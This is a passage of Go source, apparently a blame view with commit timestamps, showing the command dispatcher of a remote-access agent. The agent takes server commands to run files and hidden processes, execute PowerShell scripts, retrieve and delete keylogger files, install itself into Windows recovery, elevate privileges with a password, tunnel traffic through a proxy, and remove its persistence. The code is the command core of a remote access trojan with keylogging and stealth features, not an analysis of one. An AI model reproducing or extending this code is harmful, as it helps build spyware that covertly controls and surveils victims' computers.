source, _ := payload["source"].(string)
|
|
|
|
|
dest, _ := payload["dest"].(string)
|
|
|
|
|
return HandleFileMove(ctx, env, cmdID, source, dest)
|
|
|
|
|
case "file_chmod":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
path, _ := payload["path"].(string)
|
|
|
|
|
mode, _ := payload["mode"].(string)
|
|
|
|
|
return HandleFileChmod(ctx, env, cmdID, path, mode)
|
|
|
|
|
case "file_execute":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
path, _ := payload["path"].(string)
|
|
|
|
|
return HandleFileExecute(ctx, env, cmdID, path)
|
2026-03-09 13:52:42 -05:00
|
|
|
case "agent_update":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
path, _ := payload["path"].(string)
|
2026-03-13 12:51:48 -05:00
|
|
|
hash, _ := payload["hash"].(string)
|
2026-03-29 13:39:51 -05:00
|
|
|
hideWindow, _ := payload["hideWindow"].(bool)
|
|
|
|
|
return HandleAgentUpdate(ctx, env, cmdID, path, hash, hideWindow)
|
2026-03-05 00:04:26 -06:00
|
|
|
case "process_list":
|
|
|
|
|
return HandleProcessList(ctx, env, cmdID)
|
|
|
|
|
case "process_kill":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
if payload == nil {
|
|
|
|
|
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
|
|
|
|
|
payload = make(map[string]interface{}, len(rawPayload))
|
|
|
|
|
for k, v := range rawPayload {
|
|
|
|
|
ks, ok := k.(string)
|
|
|
|
|
if !ok {
|
|
|
|
|
continue
|
|
|
|
|
}
|
|
|
|
|
payload[ks] = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
pid := int32(0)
|
|
|
|
|
if p, ok := payload["pid"].(float64); ok {
|
|
|
|
|
pid = int32(p)
|
|
|
|
|
}
|
|
|
|
|
if p, ok := payload["pid"].(string); ok {
|
|
|
|
|
if parsed, err := strconv.Atoi(p); err == nil {
|
|
|
|
|
pid = int32(parsed)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if p, ok := payload["pid"].(uint16); ok {
|
|
|
|
|
pid = int32(p)
|
|
|
|
|
}
|
|
|
|
|
if p, ok := payload["pid"].(uint8); ok {
|
|
|
|
|
pid = int32(p)
|
|
|
|
|
}
|
|
|
|
|
if p, ok := payload["pid"].(uint64); ok {
|
|
|
|
|
pid = int32(p)
|
|
|
|
|
}
|
|
|
|
|
if p, ok := payload["pid"].(uint32); ok {
|
|
|
|
|
pid = int32(p)
|
|
|
|
|
}
|
|
|
|
|
if p, ok := payload["pid"].(uint); ok {
|
|
|
|
|
pid = int32(p)
|
|
|
|
|
}
|
|
|
|
|
if p, ok := payload["pid"].(int32); ok {
|
|
|
|
|
pid = p
|
|
|
|
|
}
|
|
|
|
|
if p, ok := payload["pid"].(int64); ok {
|
|
|
|
|
pid = int32(p)
|
|
|
|
|
}
|
|
|
|
|
if p, ok := payload["pid"].(int); ok {
|
|
|
|
|
pid = int32(p)
|
|
|
|
|
}
|
|
|
|
|
return HandleProcessKill(ctx, env, cmdID, pid)
|
|
|
|
|
case "keylog_list":
|
|
|
|
|
return HandleKeylogList(ctx, env, cmdID)
|
|
|
|
|
case "keylog_retrieve":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
filename, _ := payload["filename"].(string)
|
|
|
|
|
return HandleKeylogRetrieve(ctx, env, cmdID, filename)
|
|
|
|
|
case "keylog_clear_all":
|
|
|
|
|
return HandleKeylogClearAll(ctx, env, cmdID)
|
|
|
|
|
case "keylog_delete":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
filename, _ := payload["filename"].(string)
|
|
|
|
|
return HandleKeylogDelete(ctx, env, cmdID, filename)
|
|
|
|
|
case "script_exec":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
scriptContent, _ := payload["script"].(string)
|
|
|
|
|
scriptType, _ := payload["type"].(string)
|
|
|
|
|
if scriptType == "" {
|
|
|
|
|
scriptType = "powershell"
|
|
|
|
|
}
|
|
|
|
|
return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType)
|
|
|
|
|
case "silent_exec":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
if payload == nil {
|
|
|
|
|
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
|
|
|
|
|
payload = make(map[string]interface{}, len(rawPayload))
|
|
|
|
|
for k, v := range rawPayload {
|
|
|
|
|
ks, ok := k.(string)
|
|
|
|
|
if !ok {
|
|
|
|
|
continue
|
|
|
|
|
}
|
|
|
|
|
payload[ks] = v
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
command, _ := payload["command"].(string)
|
|
|
|
|
command = strings.TrimSpace(command)
|
|
|
|
|
if len(command) >= 2 {
|
|
|
|
|
if (command[0] == '"' && command[len(command)-1] == '"') || (command[0] == '\'' && command[len(command)-1] == '\'') {
|
|
|
|
|
command = command[1 : len(command)-1]
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
argsRaw, _ := payload["args"].(string)
|
|
|
|
|
hideWindow := true
|
|
|
|
|
if v, ok := payload["hideWindow"].(bool); ok {
|
|
|
|
|
hideWindow = v
|
|
|
|
|
}
|
|
|
|
|
cwd, _ := payload["cwd"].(string)
|
|
|
|
|
if command == "" {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing command"})
|
|
|
|
|
}
|
|
|
|
|
args := parseCommandArgs(argsRaw)
|
|
|
|
|
if err := startSilentProcess(command, args, cwd, hideWindow); err != nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
|
|
|
}
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
2026-03-29 00:46:18 -05:00
|
|
|
case "winre_install":
|
|
|
|
|
payload := payloadAsMap(envelope["payload"])
|
|
|
|
|
useSelf := false
|
|
|
|
|
if v, ok := payload["useSelf"].(bool); ok {
|
|
|
|
|
useSelf = v
|
|
|
|
|
}
|
|
|
|
|
filePath, _ := payload["filePath"].(string)
|
|
|
|
|
if err := handleWinREInstall(ctx, env, cmdID, filePath, useSelf); err != nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
|
|
|
}
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
|
|
|
case "winre_uninstall":
|
|
|
|
|
if err := handleWinREUninstall(ctx, env, cmdID); err != nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
|
|
|
}
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
2026-03-05 00:04:26 -06:00
|
|
|
case "uninstall":
|
|
|
|
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
|
|
|
|
_ = wire.WriteMsg(ctx, env.Conn, res)
|
|
|
|
|
|
|
|
|
|
if err := removePersistence(); err != nil {
|
|
|
|
|
log.Printf("uninstall: failed to remove persistence: %v", err)
|
|
|
|
|
}
|
|
|
|
|
|
2026-04-03 10:47:05 -05:00
|
|
|
criticalproc.Teardown()
|
2026-03-05 00:04:26 -06:00
|
|
|
os.Exit(0)
|
|
|
|
|
case "disconnect":
|
|
|
|
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
|
|
|
|
_ = wire.WriteMsg(ctx, env.Conn, res)
|
|
|
|
|
resetForReconnect(env)
|
2026-04-03 10:47:05 -05:00
|
|
|
criticalproc.Teardown()
|
2026-03-19 02:01:21 -05:00
|
|
|
os.Exit(0)
|
|
|
|
|
return nil
|
2026-03-05 00:04:26 -06:00
|
|
|
case "reconnect":
|
|
|
|
|
resetForReconnect(env)
|
|
|
|
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
|
|
|
|
_ = wire.WriteMsg(ctx, env.Conn, res)
|
|
|
|
|
return ErrReconnect
|
2026-04-13 10:49:36 -05:00
|
|
|
case "elevate":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
password, _ := payload["password"].(string)
|
|
|
|
|
return HandleElevate(ctx, env, cmdID, password)
|
2026-03-15 16:14:50 -05:00
|
|
|
case "proxy_connect":
|
2026-03-05 00:04:26 -06:00
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
2026-03-15 16:14:50 -05:00
|
|
|
return HandleProxyConnect(ctx, env, cmdID, payload)
|
|
|
|
|
case "proxy_data":
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
return HandleProxyData(ctx, env, cmdID, payload)
|
|
|
|
|
case "proxy_close":
|
|
|
|
|
return HandleProxyClose(ctx, env, cmdID)
|
2026-03-05 00:04:26 -06:00
|
|
|
default:
|
|
|
|
|
log.Printf("command: unknown action=%s", action)
|
|
|
|
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unknown command"}
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, res)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func envelopePayloadString(envelope map[string]interface{}, key string) (string, bool) {
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
if payload == nil {
|
|
|
|
|
return "", false
|
|
|
|
|
}
|
|
|
|
|
val, _ := payload[key].(string)
|
|
|
|
|
return val, val != ""
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func envelopePayloadInts(envelope map[string]interface{}) (int, int) {
|
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
|
|
|
if payload == nil {
|
|
|
|
|
return 0, 0
|
|
|
|
|
}
|
|
|
|
|
cols, _ := payload["cols"].(int)
|
|
|
|
|
rows, _ := payload["rows"].(int)
|
|
|
|
|
|
|
|
|
|
if cols == 0 {
|
|
|
|
|
if f, ok := payload["cols"].(float64); ok {
|
|
|
|
|
cols = int(f)
|
|
|
|
|
}
|
|
|
|
|
if i, ok := payload["cols"].(int64); ok {
|
|
|
|
|
cols = int(i)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if rows == 0 {
|
|
|
|
|
if f, ok := payload["rows"].(float64); ok {
|
|
|
|
|
rows = int(f)
|
|
|
|
|
}
|
|
|
|
|
if i, ok := payload["rows"].(int64); ok {
|
|
|
|
|
rows = int(i)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if cols == 0 {
|
|
|
|
|
cols = 120
|
|
|
|
|
}
|
|
|
|
|
if rows == 0 {
|
|
|
|
|
rows = 36
|
|
|
|
|
}
|
|
|
|
|
return cols, rows
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func toInt(v interface{}) int {
|
|
|
|
|
if v == nil {
|
|
|
|
|
return 0
|
|
|
|
|
}
|
|
|
|
|
if i, ok := v.(int); ok {
|
|
|
|
|
return i
|
|
|
|
|
}
|
|
|
|
|
if i, ok := v.(int8); ok {
|
|
|
|
|
return int(i)
|
|
|
|
|
}
|
|
|
|
|
if i, ok := v.(int16); ok {
|
|
|
|
|
return int(i)
|
|
|
|
|
}
|
|
|
|
|
if i, ok := v.(int32); ok {
|
|
|
|
|
return int(i)
|
|
|
|
|
}
|
|
|
|
|
if i, ok := v.(int64); ok {
|
|
|
|
|
return int(i)
|
|
|
|
|
}
|
|
|
|
|
if i, ok := v.(uint8); ok {
|
|
|
|
|
return int(i)
|
|
|
|
|
}
|
|
|
|
|
if i, ok := v.(uint16); ok {
|
|
|
|
|
return int(i)
|
|
|
|
|
}
|
|
|
|
|
if i, ok := v.(uint32); ok {
|
|
|
|
|
return int(i)
|
|
|
|
|
}
|
|
|
|
|
if i, ok := v.(uint64); ok {
|
|
|
|
|
return int(i)
|
|
|
|
|
}
|
|
|
|
|
if f, ok := v.(float64); ok {
|
|
|
|
|
return int(f)
|
|
|
|
|
}
|
|
|
|
|
return 0
|
|
|
|
|
}
|